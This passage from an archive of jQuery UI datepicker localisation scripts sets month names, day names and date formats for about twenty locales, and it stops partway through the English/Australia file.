PKh�\����)plugins/jqueryui/js/i18n/datepicker-sq.jsnu�[���/* Albanian initialisation for the jQuery UI date picker plugin. */
/* Written by Flakron Bytyqi (flakron@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.sq = {
	closeText: "mbylle",
	prevText: "mbrapa",
	nextText: "Përpara",
	currentText: "sot",
	monthNames: [ "Janar", "Shkurt", "Mars", "Prill", "Maj", "Qershor",
	"Korrik", "Gusht", "Shtator", "Tetor", "Nëntor", "Dhjetor" ],
	monthNamesShort: [ "Jan", "Shk", "Mar", "Pri", "Maj", "Qer",
	"Kor", "Gus", "Sht", "Tet", "Nën", "Dhj" ],
	dayNames: [ "E Diel", "E Hënë", "E Martë", "E Mërkurë", "E Enjte", "E Premte", "E Shtune" ],
	dayNamesShort: [ "Di", "Hë", "Ma", "Më", "En", "Pr", "Sh" ],
	dayNamesMin: [ "Di", "Hë", "Ma", "Më", "En", "Pr", "Sh" ],
	weekHeader: "Ja",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.sq );

return datepicker.regional.sq;

} );
PKh�\��l)plugins/jqueryui/js/i18n/datepicker-lt.jsnu�[���/* Lithuanian (UTF-8) initialisation for the jQuery UI date picker plugin. */
/* @author Arturas Paleicikas <arturas@avalon.lt> */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.lt = {
	closeText: "Uždaryti",
	prevText: "Atgal",
	nextText: "Pirmyn",
	currentText: "Šiandien",
	monthNames: [ "Sausis", "Vasaris", "Kovas", "Balandis", "Gegužė", "Birželis",
	"Liepa", "Rugpjūtis", "Rugsėjis", "Spalis", "Lapkritis", "Gruodis" ],
	monthNamesShort: [ "Sau", "Vas", "Kov", "Bal", "Geg", "Bir",
	"Lie", "Rugp", "Rugs", "Spa", "Lap", "Gru" ],
	dayNames: [
		"sekmadienis",
		"pirmadienis",
		"antradienis",
		"trečiadienis",
		"ketvirtadienis",
		"penktadienis",
		"šeštadienis"
	],
	dayNamesShort: [ "sek", "pir", "ant", "tre", "ket", "pen", "šeš" ],
	dayNamesMin: [ "Se", "Pr", "An", "Tr", "Ke", "Pe", "Še" ],
	weekHeader: "SAV",
	dateFormat: "yy-mm-dd",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: true,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.lt );

return datepicker.regional.lt;

} );
PKh�\,�BU��)plugins/jqueryui/js/i18n/datepicker-fa.jsnu�[���/* Persian (Farsi) Translation for the jQuery UI date picker plugin. */
/* Javad Mowlanezhad -- jmowla@gmail.com */
/* Jalali calendar should supported soon! (Its implemented but I have to test it) */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.fa = {
	closeText: "بستن",
	prevText: "قبلی",
	nextText: "بعدی",
	currentText: "امروز",
	monthNames: [
		"ژانویه",
		"فوریه",
		"مارس",
		"آوریل",
		"مه",
		"ژوئن",
		"ژوئیه",
		"اوت",
		"سپتامبر",
		"اکتبر",
		"نوامبر",
		"دسامبر"
	],
	monthNamesShort: [ "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12" ],
	dayNames: [
		"يکشنبه",
		"دوشنبه",
		"سه‌شنبه",
		"چهارشنبه",
		"پنجشنبه",
		"جمعه",
		"شنبه"
	],
	dayNamesShort: [
		"ی",
		"د",
		"س",
		"چ",
		"پ",
		"ج",
		"ش"
	],
	dayNamesMin: [
		"ی",
		"د",
		"س",
		"چ",
		"پ",
		"ج",
		"ش"
	],
	weekHeader: "هف",
	dateFormat: "yy/mm/dd",
	firstDay: 6,
	isRTL: true,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.fa );

return datepicker.regional.fa;

} );
PKh�\x����)plugins/jqueryui/js/i18n/datepicker-af.jsnu�[���/* Afrikaans initialisation for the jQuery UI date picker plugin. */
/* Written by Renier Pretorius. */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.af = {
	closeText: "Selekteer",
	prevText: "Vorige",
	nextText: "Volgende",
	currentText: "Vandag",
	monthNames: [ "Januarie", "Februarie", "Maart", "April", "Mei", "Junie",
	"Julie", "Augustus", "September", "Oktober", "November", "Desember" ],
	monthNamesShort: [ "Jan", "Feb", "Mrt", "Apr", "Mei", "Jun",
	"Jul", "Aug", "Sep", "Okt", "Nov", "Des" ],
	dayNames: [ "Sondag", "Maandag", "Dinsdag", "Woensdag", "Donderdag", "Vrydag", "Saterdag" ],
	dayNamesShort: [ "Son", "Maa", "Din", "Woe", "Don", "Vry", "Sat" ],
	dayNamesMin: [ "So", "Ma", "Di", "Wo", "Do", "Vr", "Sa" ],
	weekHeader: "Wk",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.af );

return datepicker.regional.af;

} );
PKh�\D_�\��)plugins/jqueryui/js/i18n/datepicker-ml.jsnu�[���/* Malayalam (UTF-8) initialisation for the jQuery UI date picker plugin. */
/* Written by Saji Nediyanchath (saji89@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.ml = {
	closeText: "ശരി",
	prevText: "മുന്നത്തെ",
	nextText: "അടുത്തത് ",
	currentText: "ഇന്ന്",
	monthNames: [ "ജനുവരി", "ഫെബ്രുവരി", "മാര്‍ച്ച്", "ഏപ്രില്‍", "മേയ്", "ജൂണ്‍",
	"ജൂലൈ", "ആഗസ്റ്റ്", "സെപ്റ്റംബര്‍", "ഒക്ടോബര്‍", "നവംബര്‍", "ഡിസംബര്‍" ],
	monthNamesShort: [ "ജനു", "ഫെബ്", "മാര്‍", "ഏപ്രി", "മേയ്", "ജൂണ്‍",
	"ജൂലാ", "ആഗ", "സെപ്", "ഒക്ടോ", "നവം", "ഡിസ" ],
	dayNames: [ "ഞായര്‍", "തിങ്കള്‍", "ചൊവ്വ", "ബുധന്‍", "വ്യാഴം", "വെള്ളി", "ശനി" ],
	dayNamesShort: [ "ഞായ", "തിങ്ക", "ചൊവ്വ", "ബുധ", "വ്യാഴം", "വെള്ളി", "ശനി" ],
	dayNamesMin: [ "ഞാ", "തി", "ചൊ", "ബു", "വ്യാ", "വെ", "ശ" ],
	weekHeader: "ആ",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.ml );

return datepicker.regional.ml;

} );
PKh�\���7)plugins/jqueryui/js/i18n/datepicker-uk.jsnu�[���/* Ukrainian (UTF-8) initialisation for the jQuery UI date picker plugin. */
/* Written by Maxim Drogobitskiy (maxdao@gmail.com). */
/* Corrected by Igor Milla (igor.fsp.milla@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.uk = {
	closeText: "Закрити",
	prevText: "Попередній",
	nextText: "найближчий",
	currentText: "Сьогодні",
	monthNames: [ "Січень", "Лютий", "Березень", "Квітень", "Травень", "Червень",
	"Липень", "Серпень", "Вересень", "Жовтень", "Листопад", "Грудень" ],
	monthNamesShort: [ "Січ", "Лют", "Бер", "Кві", "Тра", "Чер",
	"Лип", "Сер", "Вер", "Жов", "Лис", "Гру" ],
	dayNames: [ "неділя", "понеділок", "вівторок", "середа", "четвер", "п’ятниця", "субота" ],
	dayNamesShort: [ "нед", "пнд", "вів", "срд", "чтв", "птн", "сбт" ],
	dayNamesMin: [ "Нд", "Пн", "Вт", "Ср", "Чт", "Пт", "Сб" ],
	weekHeader: "Тиж",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.uk );

return datepicker.regional.uk;

} );
PKh�\7	'���)plugins/jqueryui/js/i18n/datepicker-nl.jsnu�[���/* Dutch (UTF-8) initialisation for the jQuery UI date picker plugin. */
/* Written by Mathias Bynens <http://mathiasbynens.be/> */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.nl = {
	closeText: "Sluiten",
	prevText: "Vorig",
	nextText: "Volgende",
	currentText: "Vandaag",
	monthNames: [ "januari", "februari", "maart", "april", "mei", "juni",
	"juli", "augustus", "september", "oktober", "november", "december" ],
	monthNamesShort: [ "jan", "feb", "mrt", "apr", "mei", "jun",
	"jul", "aug", "sep", "okt", "nov", "dec" ],
	dayNames: [ "zondag", "maandag", "dinsdag", "woensdag", "donderdag", "vrijdag", "zaterdag" ],
	dayNamesShort: [ "zon", "maa", "din", "woe", "don", "vri", "zat" ],
	dayNamesMin: [ "zo", "ma", "di", "wo", "do", "vr", "za" ],
	weekHeader: "Wk",
	dateFormat: "dd-mm-yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.nl );

return datepicker.regional.nl;

} );
PKh�\�Y���)plugins/jqueryui/js/i18n/datepicker-ca.jsnu�[���/* Inicialització en català per a l'extensió 'UI date picker' per jQuery. */
/* Writers: (joan.leon@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.ca = {
	closeText: "Tanca",
	prevText: "Anterior",
	nextText: "Següent",
	currentText: "Avui",
	monthNames: [ "gener", "febrer", "març", "abril", "maig", "juny",
	"juliol", "agost", "setembre", "octubre", "novembre", "desembre" ],
	monthNamesShort: [ "gen", "feb", "març", "abr", "maig", "juny",
	"jul", "ag", "set", "oct", "nov", "des" ],
	dayNames: [ "diumenge", "dilluns", "dimarts", "dimecres", "dijous", "divendres", "dissabte" ],
	dayNamesShort: [ "dg", "dl", "dt", "dc", "dj", "dv", "ds" ],
	dayNamesMin: [ "dg", "dl", "dt", "dc", "dj", "dv", "ds" ],
	weekHeader: "Set",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.ca );

return datepicker.regional.ca;

} );
PKh�\��_���)plugins/jqueryui/js/i18n/datepicker-es.jsnu�[���/* Inicialización en español para la extensión 'UI date picker' para jQuery. */
/* Traducido por Vester (xvester@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.es = {
	closeText: "Cerrar",
	prevText: "Ant",
	nextText: "Sig",
	currentText: "Hoy",
	monthNames: [ "enero", "febrero", "marzo", "abril", "mayo", "junio",
	"julio", "agosto", "septiembre", "octubre", "noviembre", "diciembre" ],
	monthNamesShort: [ "ene", "feb", "mar", "abr", "may", "jun",
	"jul", "ago", "sep", "oct", "nov", "dic" ],
	dayNames: [ "domingo", "lunes", "martes", "miércoles", "jueves", "viernes", "sábado" ],
	dayNamesShort: [ "dom", "lun", "mar", "mié", "jue", "vie", "sáb" ],
	dayNamesMin: [ "D", "L", "M", "X", "J", "V", "S" ],
	weekHeader: "Sm",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.es );

return datepicker.regional.es;

} );
PKh�\\�V�aa)plugins/jqueryui/js/i18n/datepicker-vi.jsnu�[���/* Vietnamese initialisation for the jQuery UI date picker plugin. */
/* Translated by Le Thanh Huy (lthanhhuy@cit.ctu.edu.vn). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.vi = {
	closeText: "Đóng",
	prevText: "Trước",
	nextText: "Tiếp",
	currentText: "Hôm nay",
	monthNames: [ "Tháng Một", "Tháng Hai", "Tháng Ba", "Tháng Tư", "Tháng Năm", "Tháng Sáu",
	"Tháng Bảy", "Tháng Tám", "Tháng Chín", "Tháng Mười", "Tháng Mười Một", "Tháng Mười Hai" ],
	monthNamesShort: [ "Tháng 1", "Tháng 2", "Tháng 3", "Tháng 4", "Tháng 5", "Tháng 6",
	"Tháng 7", "Tháng 8", "Tháng 9", "Tháng 10", "Tháng 11", "Tháng 12" ],
	dayNames: [ "Chủ Nhật", "Thứ Hai", "Thứ Ba", "Thứ Tư", "Thứ Năm", "Thứ Sáu", "Thứ Bảy" ],
	dayNamesShort: [ "CN", "T2", "T3", "T4", "T5", "T6", "T7" ],
	dayNamesMin: [ "CN", "T2", "T3", "T4", "T5", "T6", "T7" ],
	weekHeader: "Tu",
	dateFormat: "dd/mm/yy",
	firstDay: 0,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.vi );

return datepicker.regional.vi;

} );
PKh�\^|O��)plugins/jqueryui/js/i18n/datepicker-mk.jsnu�[���/* Macedonian i18n for the jQuery UI date picker plugin. */
/* Written by Stojce Slavkovski. */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.mk = {
	closeText: "Затвори",
	prevText: "Претходна",
	nextText: "Следно",
	currentText: "Денес",
	monthNames: [ "Јануари", "Февруари", "Март", "Април", "Мај", "Јуни",
	"Јули", "Август", "Септември", "Октомври", "Ноември", "Декември" ],
	monthNamesShort: [ "Јан", "Фев", "Мар", "Апр", "Мај", "Јун",
	"Јул", "Авг", "Сеп", "Окт", "Ное", "Дек" ],
	dayNames: [ "Недела", "Понеделник", "Вторник", "Среда", "Четврток", "Петок", "Сабота" ],
	dayNamesShort: [ "Нед", "Пон", "Вто", "Сре", "Чет", "Пет", "Саб" ],
	dayNamesMin: [ "Не", "По", "Вт", "Ср", "Че", "Пе", "Са" ],
	weekHeader: "Сед",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.mk );

return datepicker.regional.mk;

} );
PKh�\��J��)plugins/jqueryui/js/i18n/datepicker-hy.jsnu�[���/* Armenian(UTF-8) initialisation for the jQuery UI date picker plugin. */
/* Written by Levon Zakaryan (levon.zakaryan@gmail.com)*/
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.hy = {
	closeText: "Փակել",
	prevText: "Նախ.",
	nextText: "Հաջ.",
	currentText: "Այսօր",
	monthNames: [ "Հունվար", "Փետրվար", "Մարտ", "Ապրիլ", "Մայիս", "Հունիս",
	"Հուլիս", "Օգոստոս", "Սեպտեմբեր", "Հոկտեմբեր", "Նոյեմբեր", "Դեկտեմբեր" ],
	monthNamesShort: [ "Հունվ", "Փետր", "Մարտ", "Ապր", "Մայիս", "Հունիս",
	"Հուլ", "Օգս", "Սեպ", "Հոկ", "Նոյ", "Դեկ" ],
	dayNames: [ "կիրակի", "եկուշաբթի", "երեքշաբթի", "չորեքշաբթի", "հինգշաբթի", "ուրբաթ", "շաբաթ" ],
	dayNamesShort: [ "կիր", "երկ", "երք", "չրք", "հնգ", "ուրբ", "շբթ" ],
	dayNamesMin: [ "կիր", "երկ", "երք", "չրք", "հնգ", "ուրբ", "շբթ" ],
	weekHeader: "ՇԲՏ",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.hy );

return datepicker.regional.hy;

} );
PKh�\�L�**,plugins/jqueryui/js/i18n/datepicker-zh-CN.jsnu�[���/* Chinese initialisation for the jQuery UI date picker plugin. */
/* Written by Cloudream (cloudream@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional[ "zh-CN" ] = {
	closeText: "关闭",
	prevText: "上月",
	nextText: "下月",
	currentText: "今天",
	monthNames: [ "一月", "二月", "三月", "四月", "五月", "六月",
	"七月", "八月", "九月", "十月", "十一月", "十二月" ],
	monthNamesShort: [ "一月", "二月", "三月", "四月", "五月", "六月",
	"七月", "八月", "九月", "十月", "十一月", "十二月" ],
	dayNames: [ "星期日", "星期一", "星期二", "星期三", "星期四", "星期五", "星期六" ],
	dayNamesShort: [ "周日", "周一", "周二", "周三", "周四", "周五", "周六" ],
	dayNamesMin: [ "日", "一", "二", "三", "四", "五", "六" ],
	weekHeader: "周",
	dateFormat: "yy-mm-dd",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: true,
	yearSuffix: "年" };
datepicker.setDefaults( datepicker.regional[ "zh-CN" ] );

return datepicker.regional[ "zh-CN" ];

} );
PKh�\yn~�nn)plugins/jqueryui/js/i18n/datepicker-sr.jsnu�[���/* Serbian i18n for the jQuery UI date picker plugin. */
/* Written by Dejan Dimić. */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.sr = {
	closeText: "Затвори",
	prevText: "Претходна",
	nextText: "Следећи",
	currentText: "Данас",
	monthNames: [ "Јануар", "Фебруар", "Март", "Април", "Мај", "Јун",
	"Јул", "Август", "Септембар", "Октобар", "Новембар", "Децембар" ],
	monthNamesShort: [ "Јан", "Феб", "Мар", "Апр", "Мај", "Јун",
	"Јул", "Авг", "Сеп", "Окт", "Нов", "Дец" ],
	dayNames: [ "Недеља", "Понедељак", "Уторак", "Среда", "Четвртак", "Петак", "Субота" ],
	dayNamesShort: [ "Нед", "Пон", "Уто", "Сре", "Чет", "Пет", "Суб" ],
	dayNamesMin: [ "Не", "По", "Ут", "Ср", "Че", "Пе", "Су" ],
	weekHeader: "Сед",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.sr );

return datepicker.regional.sr;

} );
PKh�\�{�ż�)plugins/jqueryui/js/i18n/datepicker-ms.jsnu�[���/* Malaysian initialisation for the jQuery UI date picker plugin. */
/* Written by Mohd Nawawi Mohamad Jamili (nawawi@ronggeng.net). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.ms = {
	closeText: "Tutup",
	prevText: "Sebelum",
	nextText: "Selepas",
	currentText: "hari ini",
	monthNames: [ "Januari", "Februari", "Mac", "April", "Mei", "Jun",
	"Julai", "Ogos", "September", "Oktober", "November", "Disember" ],
	monthNamesShort: [ "Jan", "Feb", "Mac", "Apr", "Mei", "Jun",
	"Jul", "Ogo", "Sep", "Okt", "Nov", "Dis" ],
	dayNames: [ "Ahad", "Isnin", "Selasa", "Rabu", "Khamis", "Jumaat", "Sabtu" ],
	dayNamesShort: [ "Aha", "Isn", "Sel", "Rab", "kha", "Jum", "Sab" ],
	dayNamesMin: [ "Ah", "Is", "Se", "Ra", "Kh", "Ju", "Sa" ],
	weekHeader: "Mg",
	dateFormat: "dd/mm/yy",
	firstDay: 0,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.ms );

return datepicker.regional.ms;

} );
PKh�\vo�
��,plugins/jqueryui/js/i18n/datepicker-cy-GB.jsnu�[���/* Welsh/UK initialisation for the jQuery UI date picker plugin. */
/* Written by William Griffiths. */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional[ "cy-GB" ] = {
	closeText: "Done",
	prevText: "Prev",
	nextText: "Next",
	currentText: "Today",
	monthNames: [ "Ionawr", "Chwefror", "Mawrth", "Ebrill", "Mai", "Mehefin",
	"Gorffennaf", "Awst", "Medi", "Hydref", "Tachwedd", "Rhagfyr" ],
	monthNamesShort: [ "Ion", "Chw", "Maw", "Ebr", "Mai", "Meh",
	"Gor", "Aws", "Med", "Hyd", "Tac", "Rha" ],
	dayNames: [
		"Dydd Sul",
		"Dydd Llun",
		"Dydd Mawrth",
		"Dydd Mercher",
		"Dydd Iau",
		"Dydd Gwener",
		"Dydd Sadwrn"
	],
	dayNamesShort: [ "Sul", "Llu", "Maw", "Mer", "Iau", "Gwe", "Sad" ],
	dayNamesMin: [ "Su", "Ll", "Ma", "Me", "Ia", "Gw", "Sa" ],
	weekHeader: "Wy",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional[ "cy-GB" ] );

return datepicker.regional[ "cy-GB" ];

} );
PKh�\v�ҵ�,plugins/jqueryui/js/i18n/datepicker-sr-SR.jsnu�[���/* Serbian i18n for the jQuery UI date picker plugin. */
/* Written by Dejan Dimić. */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional[ "sr-SR" ] = {
	closeText: "Zatvori",
	prevText: "Prethodno",
	nextText: "Sljedeći",
	currentText: "Danas",
	monthNames: [ "Januar", "Februar", "Mart", "April", "Maj", "Jun",
	"Jul", "Avgust", "Septembar", "Oktobar", "Novembar", "Decembar" ],
	monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "Maj", "Jun",
	"Jul", "Avg", "Sep", "Okt", "Nov", "Dec" ],
	dayNames: [ "Nedelja", "Ponedeljak", "Utorak", "Sreda", "Četvrtak", "Petak", "Subota" ],
	dayNamesShort: [ "Ned", "Pon", "Uto", "Sre", "Čet", "Pet", "Sub" ],
	dayNamesMin: [ "Ne", "Po", "Ut", "Sr", "Če", "Pe", "Su" ],
	weekHeader: "Sed",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional[ "sr-SR" ] );

return datepicker.regional[ "sr-SR" ];

} );
PKh�\�a
:��)plugins/jqueryui/js/i18n/datepicker-et.jsnu�[���/* Estonian initialisation for the jQuery UI date picker plugin. */
/* Written by Mart Sõmermaa (mrts.pydev at gmail com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.et = {
	closeText: "Sulge",
	prevText: "Eelnev",
	nextText: "Järgnev",
	currentText: "Täna",
	monthNames: [ "Jaanuar", "Veebruar", "Märts", "Aprill", "Mai", "Juuni",
	"Juuli", "August", "September", "Oktoober", "November", "Detsember" ],
	monthNamesShort: [ "Jaan", "Veebr", "Märts", "Apr", "Mai", "Juuni",
	"Juuli", "Aug", "Sept", "Okt", "Nov", "Dets" ],
	dayNames: [
		"Pühapäev",
		"Esmaspäev",
		"Teisipäev",
		"Kolmapäev",
		"Neljapäev",
		"Reede",
		"Laupäev"
	],
	dayNamesShort: [ "Pühap", "Esmasp", "Teisip", "Kolmap", "Neljap", "Reede", "Laup" ],
	dayNamesMin: [ "P", "E", "T", "K", "N", "R", "L" ],
	weekHeader: "näd",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.et );

return datepicker.regional.et;

} );
PKh�\a^�=��)plugins/jqueryui/js/i18n/datepicker-da.jsnu�[���/* Danish initialisation for the jQuery UI date picker plugin. */
/* Written by Jan Christensen ( deletestuff@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.da = {
	closeText: "Luk",
	prevText: "Forrige",
	nextText: "Næste",
	currentText: "I dag",
	monthNames: [ "Januar", "Februar", "Marts", "April", "Maj", "Juni",
	"Juli", "August", "September", "Oktober", "November", "December" ],
	monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "Maj", "Jun",
	"Jul", "Aug", "Sep", "Okt", "Nov", "Dec" ],
	dayNames: [ "Søndag", "Mandag", "Tirsdag", "Onsdag", "Torsdag", "Fredag", "Lørdag" ],
	dayNamesShort: [ "Søn", "Man", "Tir", "Ons", "Tor", "Fre", "Lør" ],
	dayNamesMin: [ "Sø", "Ma", "Ti", "On", "To", "Fr", "Lø" ],
	weekHeader: "Uge",
	dateFormat: "dd-mm-yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.da );

return datepicker.regional.da;

} );
PKh�\�Yq���,plugins/jqueryui/js/i18n/datepicker-en-NZ.jsnu�[���/* English/New Zealand initialisation for the jQuery UI date picker plugin. */
/* Based on the en-GB initialisation. */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional[ "en-NZ" ] = {
	closeText: "Done",
	prevText: "Prev",
	nextText: "Next",
	currentText: "Today",
	monthNames: [ "January", "February", "March", "April", "May", "June",
	"July", "August", "September", "October", "November", "December" ],
	monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "May", "Jun",
	"Jul", "Aug", "Sep", "Oct", "Nov", "Dec" ],
	dayNames: [ "Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday" ],
	dayNamesShort: [ "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ],
	dayNamesMin: [ "Su", "Mo", "Tu", "We", "Th", "Fr", "Sa" ],
	weekHeader: "Wk",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional[ "en-NZ" ] );

return datepicker.regional[ "en-NZ" ];

} );
PKh�\=����,plugins/jqueryui/js/i18n/datepicker-en-AU.jsnu�[���/* English/Australia initialisation for the jQuery UI date picker plugin. */
/* Based on the en-GB initialisation. */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional[ "en-AU" ] = {
	closeText: "Done",
	prevText: "Prev",
	nextText: "Next",
	currentText: "Today",
	monthNames: [ "January", "February", "March", "April", "May", "June",
	"July", "August", "September", "October", "November", "December" ],
	monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "May", "Jun",
	"Jul", "Aug", "Sep", "Oct", "Nov", "Dec" ],
	dayNames: [ "Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday" ],
	dayNamesShort: [ "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ],
